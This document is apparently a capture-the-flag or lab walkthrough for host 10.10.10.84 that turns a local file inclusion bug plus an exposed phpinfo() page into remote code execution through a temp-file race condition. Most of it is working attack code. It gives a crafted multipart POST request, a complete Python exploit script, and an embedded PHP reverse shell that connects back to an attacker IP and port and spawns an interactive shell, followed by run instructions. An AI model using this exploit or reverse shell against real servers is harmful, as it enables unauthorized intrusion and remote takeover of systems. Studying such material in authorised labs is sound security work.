PHPInfo log - Race Condition

Example from 10.10.10.84 Gaining RCE through LFI with PHPinfo page.

First, find PHPinfo.php page as this will allow you to gather information about the available settings. Capture the request with Burp:

Change the request in repeater from GET to POST and add:

POST /phpinfo.php HTTP/1.1
Host: 10.10.10.84
User-Agent: Hello
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--ShellHere
Content-Length: 147
----ShellHere
Content-Disposition: form-data; name="anything"; filename="Shell"
Content-Type: text/plain
Get the shell here
----ShellHere

The idea behind this exploitation technique is that if PHP accepts file uploads (like we presented above) it creates a temporary file in /tmp/ folder and then deletes the cached file. If we manage to create a large enough file with a php reverse shell code, we should be able to catch this instruction before file gets deleted, hence a race condition. It is Important to note that PHPInfo adds &gt to its temp folder.

[tmp_name] => /tmp/phpBBRcdj

This POC Code: is designed to do just that, create a race condition during which we should be able go gain a reverse shell:

#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php
sleep(3);
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.20'; // CHANGE THIS
$port = 3333; //CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
print "Don't forget to modify the LFI URL"
main()

Lines 2-156 php-reverse shell from here.

Lines 16,17 Attacker IP and Attacker Port

Lines 199,257 Modification to the tmp folder location, we need to add &gt

Run with:

./phptolfi.py 10.10.10.84 80 100

Exploitation: